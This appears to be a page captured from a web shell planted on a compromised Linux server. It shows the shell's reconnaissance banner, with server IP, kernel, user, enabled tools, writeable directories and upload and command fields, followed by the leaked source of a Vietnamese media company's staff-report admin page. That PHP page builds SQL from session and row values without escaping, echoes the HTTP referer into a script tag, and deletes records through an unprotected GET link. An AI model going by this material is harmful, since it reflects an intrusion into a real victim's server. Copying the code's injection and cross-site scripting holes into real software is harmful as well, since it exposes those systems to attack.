403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/admin2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/admin2/baocao.php
<?php
include '../configchannel.php';
include 'configtotal.php';

if(isset($_POST['IdChannel']))
{
	$resultQL = mysqli_fetch_assoc(Select('BaoCaoNhanVien', false, "`KieuBaoCao` = 0 AND `NoiDungBaoCao` LIKE '".mysql_real_escape_string($_POST['NoiDungBaoCao'])."'" ,'')); // kiểm tra video thêm bị trùng
	if(isset($resultQL['Id']))
	{
		Header( "Location: https://rubymedia.studio/admin/baocao.php" );
		exit;
	}
	$resultQL = mysqli_fetch_assoc(Select('BaoCaoNhanVien', false, "`KieuBaoCao` = 1 AND `NoiDungBaoCao` LIKE '".mysql_real_escape_string($_POST['NoiDungBaoCao'])."' AND `IdChannel` = ".mysql_real_escape_string($_POST['IdChannel'])."" ,'')); // kiểm tra comment thêm bị trùng
	if(isset($resultQL['Id']))
	{
		Header( "Location: https://rubymedia.studio/admin/baocao.php" );
		exit;
	}
	$resultQL = mysqli_fetch_assoc(Select('BaoCaoNhanVien', false, "`KieuBaoCao` = 2 AND `NoiDungBaoCao` LIKE '".mysql_real_escape_string($_POST['NoiDungBaoCao'])."'" ,'')); // kiểm tra mxh thêm bị trùng
	if(isset($resultQL['Id']))
	{
		Header( "Location: https://rubymedia.studio/admin/baocao.php" );
		exit;
	}
	if($_POST['KieuBaoCao'] == 0) // video
	{
		$chuoicantim  = 'youtu';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if (!$pos) {
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
		$chuoicantim  = 'studio';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if ($pos) {
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
		$chuoicantim  = '&lc=';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if ($pos) {
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
	}
	if($_POST['KieuBaoCao'] == 1) // commnet
	{
		$chuoicantim  = '&lc=';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if ($pos === false) {
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
		$resultQL = mysqli_fetch_assoc(Select('BaoCaoNhanVien', false, "`KieuBaoCao` = 0 AND `NoiDungBaoCao` LIKE '".mysql_real_escape_string($_POST['NoiDungBaoCao'])."' AND `IdChannel` = ".mysql_real_escape_string($_POST['IdChannel'])."" ,'')); // kiểm tra comment thêm bị trùng với video
		if(isset($resultQL['Id']))
		{
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
	}
	if($_POST['KieuBaoCao'] == 2) // commnet
	{
		$chuoicantim  = 'facebook.com';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if ($pos) {
			if (!preg_match("/(permalink|photos|posts)/", $_POST['NoiDungBaoCao']))
			{
				Header( "Location: https://rubymedia.studio/admin/baocao.php" );
				exit;
			}
		}
		$chuoicantim  = 'youtu';
		$pos = strpos($_POST['NoiDungBaoCao'], $chuoicantim);
		if ($pos) {
			Header( "Location: https://rubymedia.studio/admin/baocao.php" );
			exit;
		}
	}
	$validurl = filter_var($_POST['NoiDungBaoCao'], FILTER_VALIDATE_URL);
	if(!$validurl)
	{
		Header( "Location: https://rubymedia.studio/admin/baocao.php" );
		exit;
	}
	$sqltime = date( 'Y-m-d H:i:s', time());
	$dataInsert = array(
		'KieuBaoCao' => mysql_real_escape_string($_POST['KieuBaoCao']),
		'NoiDungBaoCao' => mysql_real_escape_string($_POST['NoiDungBaoCao']),
		'IdChannel' => mysql_real_escape_string($_POST['IdChannel']),
		'NgayBaoCao' => $sqltime,
		'IDNguoiThem' => $_SESSION['login']['id']
	);
	Insert('BaoCaoNhanVien', $dataInsert);
	//Header( "Location: https://rubymedia.studio/admin/baocao.php" );
	echo 'Méo có';
	exit;
}
else if(isset($_GET['xoa']))
{
	Delete('BaoCaoNhanVien', "Id = " . mysql_real_escape_string($_GET['xoa']));
	echo 'Đã xóa thành công';
	?>
	<script>
	location.replace("<?php echo $_SERVER['HTTP_REFERER']; ?>");
	</script>
	<?php
	exit;
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="A fully featured admin theme which can be used to build CRM, CMS, etc.">
        <meta name="author" content="Coderthemes">

        <link rel="shortcut icon" href="assets/images/favicon_1.ico">

        <title>Ruby Media</title>

        <!--Morris Chart CSS -->
		<link href="assets/plugins/custombox/css/custombox.css" rel="stylesheet">

        <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />

        <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
        <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
        <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
        <![endif]-->

        <script src="assets/js/modernizr.min.js"></script>
        
    </head>


    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">
            <!-- ========== Left Sidebar Start ========== -->

            <?php  include 'header/taskbar.php'; ?>
            <!-- Left Sidebar End --> 



            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->                      
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">

                        <!-- Page-Title -->
                        <div class="row">
							
                            <div class="col-sm-12">
                                <h4 class="page-title">QUẢN LÝ BÁO CÁO</h4>
                                <ol class="breadcrumb">
                                    <li><a href="#">Ruby Media</a></li>
                                    <li class="active">Báo Cáo</li>
                                </ol>
                            </div>
                        </div>
                        
                        <div class="row">
                        	<div class="col-lg-12">
                        		<div class="card-box">
                        			<div class="row">
										<div class="col-sm-8">
			                        		
											
											<a href="baocao.php" class="badge badge-<?php echo (!isset($_GET['baocao']))? "danger" : "primary" ?>">Hôm Nay</a>
											<a href="?baocao=10" class="badge badge-<?php echo (isset($_GET['baocao']) && $_GET['baocao']==10)? "danger" : "primary" ?>">Hôm Qua</a>
											<a href="?baocao=28" class="badge badge-<?php echo (isset($_GET['baocao']) && $_GET['baocao']==28)? "danger" : "primary" ?>">Báo Cáo 28 Ngày</a>
											
											
											<?php
											$soLuongThangXemLai = 2;
											?>
											<a href="?baocao=0" class="badge badge-<?php echo (isset($_GET['baocao']) && $_GET['baocao']==0)? "danger" : "primary" ?>">Báo Cáo Tháng <?php echo date('m'); ?></a>
											<?php
											for($i = 1; $i <= $soLuongThangXemLai; $i++)
											{
												$thangtruoc = date('m', strtotime('last day of -'.$i." month", time()));
												?>
												<a href="?baocao=<?php echo $i; ?>" class="badge badge-<?php echo $_GET['baocao']==$i? "danger" : "primary" ?>">Báo Cáo Tháng <?php echo $thangtruoc; ?></a>
												<?php
											}
											?>
			                        	</div>
			                        </div>
									<div class="row">
										<div class="col-sm-8">
											<?php 
												$thoiGianGioiHan = date('d/m/Y', strtotime('0 day', time())); // chọn ngày so sánh đau
												$date = explode('/', $thoiGianGioiHan);
												$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
												$mysqldate = date( 'Y-m-d H:i:s', $time);
												
													
												$thoiGianGioiHan = date('d/m/Y', strtotime('0 day', strtotime($mysqldate))); // chọn ngày so sánh đau
												$date = explode('/', $thoiGianGioiHan);
												$time = mktime(23,59,59,$date[1], $date[0],$date[2]);
												$ngaySQLSelect = date( 'Y-m-d H:i:s', $time);
												$ngaySQL = $ngaySQLSelect;
												if(isset($_GET['baocao']))
												{
													if($_GET['baocao'] == 28) // doanh 28 ngày
													{
														$thoiGianGioiHan = date('d/m/Y', strtotime('-28 day', time()));
														$date = explode('/', $thoiGianGioiHan);
														$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
														$mysqldate = date( 'Y-m-d H:i:s', $time);
														
														$thoiGianGioiHan = date('d/m/Y', strtotime('0 day', time()));
														$date = explode('/', $thoiGianGioiHan);
														$time = mktime(23,59,59,$date[1],$date[0],$date[2]);
														$ngaySQLSelect = date( 'Y-m-d H:i:s', $time);
													}
													else if($_GET['baocao'] == 10) // doanh thu hôm qua
													{
														$thoiGianGioiHan = date('d/m/Y', strtotime('-1 day', time()));
														$date = explode('/', $thoiGianGioiHan);
														$time = mktime(0,0,0,$date[1],$date[0],$date[2]);
														$mysqldate = date( 'Y-m-d H:i:s', $time);
														
														$time = mktime(23,59,59,$date[1], $date[0],$date[2]);
														$ngaySQLSelect = date( 'Y-m-d H:i:s', $time);
													}
													else if($_GET['baocao'] == 0) // doanh thu tháng này
													{
														$thoiGianGioiHan = date('d/m/Y', strtotime('-0 day', time()));
														$date = explode('/', $thoiGianGioiHan);
														$time = mktime(0,0,0,$date[1],01,$date[2]);
														$mysqldate = date( 'Y-m-d H:i:s', $time);
														
														$thoiGianGioiHan = date('t/m/Y'); // chọn ngày so sánh đau
														$date = explode('/', $thoiGianGioiHan);
														$time = mktime(23,59,59,$date[1], $date[0],$date[2]);
														$ngaySQLSelect = date( 'Y-m-d H:i:s', $time);
														$ngaySQL = $ngaySQLSelect;
													}
													
													else
													{
														for($i = 1; $i <= $soLuongThangXemLai; $i++)
														{
															if($i == $_GET['baocao'])
															{
																$thoiGianGioiHan = date('d/m/Y', strtotime('last day of -'.$i.' month', strtotime($ngaySQL))); // chọn ngày so sánh đau
																$date = explode('/', $thoiGianGioiHan);
																$time = mktime(0,0,0,$date[1],01,$date[2]);
																$mysqldate = date( 'Y-m-d H:i:s', $time);
																
																$thoiGianGioiHan = date('d/m/Y', strtotime('last day of this month', strtotime($mysqldate))); // chọn ngày so sánh đau
																$date = explode('/', $thoiGianGioiHan);
																$time = mktime(23,59,59,$date[1], $date[0],$date[2]);
																$ngaySQLSelect = date( 'Y-m-d H:i:s', $time);
															}
															
														}
													}
												}
												//echo $mysqldate . ' - ' . $ngaySQLSelect;
												$textSQL = "`IdNguoiLam` = ".$_SESSION['login']['id']."";
												if($_SESSION['login']['Admin'] == 1)
												{
													$textSQL = "";
												}
												$result = Select('QuanLyChannel', false, $textSQL);
												$dem = 1;
												$demVideoUpload = 0;
												$demVideoComment = 0;
												$demShareMXH = 0;
												$demLoiBaoCao = 0;
												while($res = mysqli_fetch_array($result))
												{
													$listVideoUpload = null;
													$res['listVideoUpload'] = 0;
													$res['demUpload'] = 0;
													$res['demUploadLoi'] = 0;
													
													$res['listVideoComment'] = 0;
													$res['demComment'] = 0;
													$res['demCommentLoi'] = 0;
													
													$res['listMangXaHoi'] = 0;
													$res['demMXH'] = 0;
													$res['demMXHLoi'] = 0;
													$resultVideoUpload = Select('BaoCaoNhanVien', false, "`IdChannel` = ".$res['id']." AND `NgayBaoCao` <= '".$ngaySQLSelect."' AND `NgayBaoCao` >= '".$mysqldate."' AND `KieuBaoCao` = 0");
													while($resVideo = mysqli_fetch_array($resultVideoUpload))
													{
														$listVideoUpload[] = $resVideo;
														$demUpload++;
														
														if($resVideo['KiemDuyet'] == 2)
														{
															$demLoiBaoCao++;
															$res['demUploadLoi']++;
														}
														else
														{
															$demVideoUpload++;
															$res['demUpload']++;
														}
														$res['listVideoUpload'] = $listVideoUpload;
														
													}
													$listVideoComment = null;
													$demComment = 0;
													$resultVideoUpload = Select('BaoCaoNhanVien', false, "`IdChannel` = ".$res['id']." AND `NgayBaoCao` <= '".$ngaySQLSelect."' AND `NgayBaoCao` >= '".$mysqldate."' AND `KieuBaoCao` = 1");
													while($resVideo = mysqli_fetch_array($resultVideoUpload))
													{
														$listVideoComment[] = $resVideo;
														
														if($resVideo['KiemDuyet'] == 2)
														{
															$demLoiBaoCao++;
															$res['demCommentLoi']++;
														}
														else
														{
															$demVideoComment++;
															$res['demComment']++;
														}
														$res['listVideoComment'] = $listVideoComment;
														
													}
													$listMangXaHoi = null;
													$demMXH = 0;
													$resultVideoUpload = Select('BaoCaoNhanVien', false, "`IdChannel` = ".$res['id']." AND `NgayBaoCao` <= '".$ngaySQLSelect."' AND `NgayBaoCao` >= '".$mysqldate."' AND `KieuBaoCao` = 2");
													while($resVideo = mysqli_fetch_array($resultVideoUpload))
													{
														$listMangXaHoi[] = $resVideo;
														if($resVideo['KiemDuyet'] == 2)
														{
															$demLoiBaoCao++;
															$res['demMXHLoi']++;
														}
														else
														{
															$demShareMXH++;
															$res['demMXH']++;
														}
														$res['listMangXaHoi'] = $listMangXaHoi;
														
													}
													$listChannel[] = $res;
												}
											?>
											<?php if(!isset($_GET['baocao']) || $_GET['baocao'] == 10) { ?>
											<?php 
												if($demVideoUpload >= $soLuongUploadMoiNgay && $demVideoComment >= $soLuongCommentVideoMoiNgay && $demShareMXH >= $soLuongShareMXHMoiNgay)
												{
													?><h5 style="color: #98ea98;">Đã hoàn thành số lượng công việc tối thiểu</h5><?php
												}
												else
												{
													?><h5 style="color: white;">
														Chưa hoàn thành công việc tối thiểu:<?php
												}
												?>
														<?php if($demVideoUpload >= $soLuongUploadMoiNgay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUploadMoiNgay; ?></span> Video Upload, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUploadMoiNgay; ?></span> Video Upload, 
														<?php endif; ?>
														
														<?php if($demVideoComment >= $soLuongCommentVideoMoiNgay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoComment; ?>/<?php echo $soLuongCommentVideoMoiNgay; ?></span> Comment Video, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoComment; ?>/<?php echo $soLuongCommentVideoMoiNgay; ?></span> Comment Video, 
														<?php endif; ?>
														
														<?php if($demShareMXH >= $soLuongShareMXHMoiNgay) : ?>
														<span style="color: #98ea98;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXHMoiNgay; ?></span> Chia Sẻ Mạng Xã Hội, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXHMoiNgay; ?></span> Chia Sẻ Mạng Xã Hội
														<?php endif; ?>
													</h5>
											
											<?php } else if(isset($_GET['baocao']) && $_GET['baocao'] == 28) { ?>
											<?php 
												$day = 28 - 4;
												$soLuongUpload28Ngay = $soLuongUploadMoiNgay * $day;
												$soLuongComment28Ngay = $soLuongCommentVideoMoiNgay * $day;
												$soLuongShareMXH28Ngay = $soLuongShareMXHMoiNgay * $day;
												if($demVideoUpload >= $soLuongUpload28Ngay && $demVideoComment >= $soLuongComment28Ngay && $demShareMXH >= $soLuongShareMXH28Ngay)
												{
													?><h5 style="color: #98ea98; font-weight: bold; font-size: 16px;">Đã hoàn thành số lượng công việc tối thiểu</h5>
													<?php
													
												}
												else
												{
													?><h5 style="color: white; font-weight: bold; font-size: 16px;">
														Chưa hoàn thành công việc tối thiểu:<?php
												}
												?>
													
														<?php if($demVideoUpload >= $soLuongUpload28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUpload28Ngay; ?></span> Video Upload, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUpload28Ngay; ?></span> Video Upload, 
														<?php endif; ?>
														
														<?php if($demVideoComment >= $soLuongComment28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoComment; ?>/<?php echo $soLuongComment28Ngay; ?></span> Comment Video, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoComment; ?>/<?php echo $soLuongComment28Ngay; ?></span> Comment Video, 
														<?php endif; ?>
														
														<?php if($demShareMXH >= $soLuongShareMXH28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXH28Ngay; ?></span> Chia Sẻ Mạng Xã Hội, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXH28Ngay; ?></span> Chia Sẻ Mạng Xã Hội
														<?php endif; ?>
													</h5>
											<?php }  else {	?>
											<?php 
												$day = date("d",strtotime($ngaySQLSelect));
												$day = $day - countSundayInMonth($ngaySQLSelect);
												//echo $ngaySQLSelect;
												$soLuongUpload28Ngay = $soLuongUploadMoiNgay * $day;
												$soLuongComment28Ngay = $soLuongCommentVideoMoiNgay * $day;
												$soLuongShareMXH28Ngay = $soLuongShareMXHMoiNgay * $day;
												if($demVideoUpload >= $soLuongUpload28Ngay && $demVideoComment >= $soLuongComment28Ngay && $demShareMXH >= $soLuongShareMXH28Ngay)
												{
													?><h5 style="color: #98ea98;">Đã hoàn thành số lượng công việc tối thiểu</h5><?php
												}
												else
												{
													?><h5 style="color: white; font-weight: bold; font-size: 16px;">
														Chưa hoàn thành công việc tối thiểu:<?php
												}
												?>
														<?php if($demVideoUpload >= $soLuongUpload28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUpload28Ngay; ?></span> Video Upload, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoUpload; ?>/<?php echo $soLuongUpload28Ngay; ?></span> Video Upload, 
														<?php endif; ?>
														
														<?php if($demVideoComment >= $soLuongComment28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demVideoComment; ?>/<?php echo $soLuongComment28Ngay; ?></span> Comment Video, 
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demVideoComment; ?>/<?php echo $soLuongComment28Ngay; ?></span> Comment Video, 
														<?php endif; ?>
														
														<?php if($demShareMXH >= $soLuongShareMXH28Ngay) : ?>
														<span style="color: #98ea98;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXH28Ngay; ?></span> Chia Sẻ Mạng Xã Hội
														<?php else : ?>
														<span style="color: #fb3333;"><?php echo $demShareMXH; ?>/<?php echo $soLuongShareMXH28Ngay; ?></span> Chia Sẻ Mạng Xã Hội
														<?php endif; ?>
													</h5>
											<?php }?>
			                        		<?php if($demLoiBaoCao > 0) { ?>
											<h5 style="color: #fb3333; font-weight: bold;">Cảnh Báo Hiện Có <?php echo $demLoiBaoCao; ?> Báo Cáo Bị Lỗi</h5>
			                        		<?php } ?>
			                        	</div>
			                        </div>
                        			<div class="table-responsive">
                                        <table class="table table-hover mails m-0 table table-actions-bar">
                                        	<thead>
												<tr>
													<th>#</th>
													<th>Kênh</th>
													<th>Người Quản Lý Kênh</th>
													<th>Upload Video</th>
													<th>Comment Video</th>
													<th>Mạng Xã Hội</th>
													<th style="width: 20px;">Tác Vụ</th>
													<th></th>
												</tr>
											</thead>
											
                                            <tbody>
												<?php
												
												$result = Select('QuanLyChannel', false, "`NameChannel` != ''");
												$dem = 1;
												foreach($listChannel as $keya => $res) :
												?>
												<tr>
                                                    <td>
                                                        <?php echo $dem++; ?>
                                                    </td>
                                                    
                                                    <td>
                                                       <a href="https://www.youtube.com/channel/<?php echo $res['IdChannel']; ?>" target="_blank"><?php echo $res['NameChannel']==null? $res['IdChannel'] : $res['NameChannel']; ?></a>
                                                    </td>
                                                    <td>
                                                        <?php 
															$resultQL = mysqli_fetch_assoc(Select('NguoiLam', false, "`id` = ".$res['IdNguoiLam']."" ,''));
															if(isset($resultQL['id']))
															{
																echo $resultQL['TenNhanVien'];
																
															}
															else
															{
																echo "NONE";
															}
														?>
                                                    </td>
													 <td>
														<?php echo $res['demUpload']; ?>
														<?php
															if($res['demUploadLoi'] > 0)
															{
																?> - <span style="color: #98ea98; font-weight: bold;"><span style="color: #ff525a;"><?php echo $res['demUploadLoi']; ?> Lỗi</span><?php 
															}																	
														?>
                                                    </td>
													<td>
														<?php echo $res['demComment']; ?>
														<?php
															if($res['demCommentLoi'] > 0)
															{
																?> - <span style="color: #98ea98; font-weight: bold;"><span style="color: #ff525a;"><?php echo $res['demCommentLoi']; ?> Lỗi</span><?php 
															}																	
														?>
													</td>
													<td>
														<?php echo $res['demMXH']; ?>
														<?php
															if($res['demMXHLoi'] > 0)
															{
																?> - <span style="color: #98ea98; font-weight: bold;"><span style="color: #ff525a;"><?php echo $res['demMXHLoi']; ?> Lỗi</span><?php 
															}																	
														?>
                                                    </td>
													<td>
														<a href="#custom-modal-<?php echo $res['id'] ?>" class="btn btn-default btn-sm waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" data-overlayspeed="200" data-overlaycolor="#36404a">THÊM BÁO CÁO</a>
														<div id="custom-modal-<?php echo $res['id'] ?>" class="modal-demo">
															<button type="button" class="close" onclick="Custombox.close();">
																<span>&times;</span><span class="sr-only">Close</span>
															</button>
															<h4 class="custom-modal-title">Thêm Báo Cáo</h4>
															<div class="custom-modal-text text-left">
																<form role="form" method="POST" enctype="multipart/form-data">
																	<div class="form-group">
																		<label for="name">Link Video hoặc Link Mạng Xã Hội</label>
																		<input type="text" class="form-control" name="NoiDungBaoCao" placeholder="Ví dụ: https://www.youtube.com/watch?v=BySRxBK21kw">
																	</div>
																	<div class="form-group">
																		<label for="name">Lựa Chọn Thể Loại Thêm</label>
																		<select class="selectpicker" name="KieuBaoCao" data-style="btn-white">
																			<option value="0">Video Tải Lên</option>
																			<option value="1">Comment Video Youtube</option>
																			<option value="2">Chia Sẻ Mạng Xã Hội</option>
																		</select>
																	</div>
																	<input type="hidden" value="<?php echo $res['id']; ?>" name="IdChannel"/>
																	<button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
																	<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
																</form>
															</div>
														</div>
													</td>
													<td>
														<a href="#custom-modal-<?php echo $res['id'] ?>-chitiet" class="btn btn-success btn-sm waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" data-overlayspeed="200" data-overlaycolor="#36404a">CHI TIẾT</a>
														<div id="custom-modal-<?php echo $res['id'] ?>-chitiet" class="modal-demo">
															<button type="button" class="close" onclick="Custombox.close();">
																<span>&times;</span><span class="sr-only">Close</span>
															</button>
															<h4 class="custom-modal-title">Chi Tiết Báo Cáo</h4>
															<div class="custom-modal-text text-left">
																<div class="form-group">
																	<label for="name">Danh Sách Video Upload</label>
																	<div class="card-box">
																		<div class="table-responsive">
																			<table class="table table-hover mails m-0 table table-actions-bar">
																				<thead>
																					<tr>
																						<th>#</th>
																						<th>Link Video</th>
																						<th></th>
																					</tr>
																				</thead>
																				<tbody>
																					<?php foreach($res['listVideoUpload'] as $key => $item) : ?>
																					<tr>
																						<td>
																							<?php echo ($key+1); ?>
																						</td>
																						<td>
																							<a href="<?php echo $item['NoiDungBaoCao']; ?>" target="_blank"><?php echo $item['NoiDungBaoCao']; ?></a>
																							[
																							<?php 
																							if($item['KiemDuyet'] == 0)
																							{
																								echo '<span style="color: white; font-weight: bold;">Chưa Duyệt</span>';
																							} else if($item['KiemDuyet'] == 1)
																							{
																								echo '<span style="color: #b2ff9e; font-weight: bold;">Chấp Nhận</span>';
																							} else if($item['KiemDuyet'] == 2)
																							{
																								echo '<span style="color: #ff525a; font-weight: bold;">Từ Chối</span>';
																							}
																							?>
																							]
																						</td>
																						<td>
																							<a href="?xoa=<?php echo $item['Id']; ?>" class="btn btn-danger btn-sm waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" data-overlayspeed="200" data-overlaycolor="#36404a">XÓA</a>
																						</td>
																					</tr>
																					<?php endforeach; ?>
																					
																				</tbody>
																			</table>
																		</div>
																	</div>
																</div>
																<div class="form-group">
																	<label for="name">Danh Sách Video Comment</label>
																	<div class="card-box">
																		<div class="table-responsive">
																			<table class="table table-hover mails m-0 table table-actions-bar">
																				<thead>
																					<tr>
																						<th>#</th>
																						<th>Link Video</th>
																						<th></th>
																					</tr>
																				</thead>
																				<tbody>
																					<?php foreach($res['listVideoComment'] as $key => $item) : ?>
																					<tr>
																						<td>
																							<?php echo ($key+1); ?>
																						</td>
																						<td>
																							<a href="<?php echo $item['NoiDungBaoCao']; ?>" target="_blank"><?php echo $item['NoiDungBaoCao']; ?></a>
																							[
																							<?php 
																							if($item['KiemDuyet'] == 0)
																							{
																								echo '<span style="color: white; font-weight: bold;">Chưa Duyệt</span>';
																							} else if($item['KiemDuyet'] == 1)
																							{
																								echo '<span style="color: #b2ff9e; font-weight: bold;">Chấp Nhận</span>';
																							} else if($item['KiemDuyet'] == 2)
																							{
																								echo '<span style="color: #ff525a; font-weight: bold;">Từ Chối</span>';
																							}
																							?>
																							]
																						</td>
																						<td>
																							<a href="?xoa=<?php echo $item['Id']; ?>" class="btn btn-danger btn-sm waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" data-overlayspeed="200" data-overlaycolor="#36404a">XÓA</a>
																						</td>
																					</tr>
																					<?php endforeach; ?>
																					
																				</tbody>
																			</table>
																		</div>
																	</div>
																</div>
																<div class="form-group">
																	<label for="name">Danh Sách Mạng Xã Hội Đã Chia Sẻ</label>
																	<div class="card-box">
																		<div class="table-responsive">
																			<table class="table table-hover mails m-0 table table-actions-bar">
																				<thead>
																					<tr>
																						<th>#</th>
																						<th>Link Bài Post Chia Sẻ</th>
																						<th></th>
																					</tr>
																				</thead>
																				<tbody>
																					<?php foreach($res['listMangXaHoi'] as $key => $item) : ?>
																					<tr>
																						<td>
																							<?php echo ($key+1); ?>
																						</td>
																						<td>
																							<a href="<?php echo $item['NoiDungBaoCao']; ?>" target="_blank"><?php echo $item['NoiDungBaoCao']; ?>	</a>
																							[
																							<?php 
																							if($item['KiemDuyet'] == 0)
																							{
																								echo '<span style="color: white; font-weight: bold;">Chưa Duyệt</span>';
																							} else if($item['KiemDuyet'] == 1)
																							{
																								echo '<span style="color: #b2ff9e; font-weight: bold;">Chấp Nhận</span>';
																							} else if($item['KiemDuyet'] == 2)
																							{
																								echo '<span style="color: #ff525a; font-weight: bold;">Từ Chối</span>';
																							}
																							?>
																							]
																						</td>
																						<td>
																							<a href="?xoa=<?php echo $item['Id']; ?>" class="btn btn-danger btn-sm waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" data-overlayspeed="200" data-overlaycolor="#36404a">XÓA</a>
																						</td>
																					</tr>
																					<?php endforeach; ?>
																					
																				</tbody>
																			</table>
																		</div>
																	</div>
																</div>
															</div>
														</div>
													</td>
                                                </tr>
												<?php endforeach; ?>
												<tr>
													<td>
                                                    </td>
													<td>
                                                    </td>
													<td>
														<span style="color: white;">TỔNG:</span>
                                                    </td>
													<td>
														<span style="color: white;"><?php echo $demVideoUpload; ?></span>
                                                    </td>
													<td>
														<span style="color: white;"><?php echo $demVideoComment; ?></span>
                                                    </td>
													<td>
														<span style="color: white;"><?php echo $demShareMXH; ?></span>
                                                    </td>
													<td>
                                                    </td>
													<td>
                                                    </td>
												</tr>
                                            </tbody>
                                        </table>
                                    </div>
                        		</div>
                                
                            </div> <!-- end col -->

                            
                        </div>

                        
                        
                        

                    </div> <!-- container -->
                               
                </div> <!-- content -->

                <?php  include 'header/footer.php'; ?>

            </div>
            
            
            <!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="Custombox.close();">
			        <span>&times;</span><span class="sr-only">Close</span>
			    </button>
			    <h4 class="custom-modal-title">Thêm Kênh</h4>
			    <div class="custom-modal-text text-left">
			        <form role="form" method="POST">
			        	<div class="form-group">
                            <label for="name">Danh Sách Kênh (Định dạng: https://youtube.com/channel/ID)</label>
                            <textarea class="form-control" rows="5" placeholder="Nhập Danh Sách Kênh" style="height: 400px;" name="danhsachkenh"></textarea>
                        </div>
                        <button type="submit" class="btn btn-default waves-effect waves-light">Thêm</button>
                        <button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
                    </form>
			    </div>
			</div>
            
            
            
            <!-- /Right-bar -->

        </div>
        <!-- END wrapper -->


    
       <script>
            var resizefunc = [];
        </script>
		<!-- jQuery  -->
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/detect.js"></script>
        <script src="assets/js/fastclick.js"></script>
        <script src="assets/js/jquery.slimscroll.js"></script>
        <script src="assets/js/jquery.blockUI.js"></script>
        <script src="assets/js/waves.js"></script>
        <script src="assets/js/wow.min.js"></script>
        <script src="assets/js/jquery.nicescroll.js"></script>
        <script src="assets/js/jquery.scrollTo.min.js"></script>


        <script src="assets/js/jquery.core.js"></script>
        <script src="assets/js/jquery.app.js"></script>
        
        <!-- Modal-Effect -->
        <script src="assets/plugins/custombox/js/custombox.min.js"></script>
        <script src="assets/plugins/custombox/js/legacy.min.js"></script>
		<script src="assets/plugins/notifyjs/js/notify.js"></script>
		<script src="assets/plugins/notifications/notify-metro.js"></script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit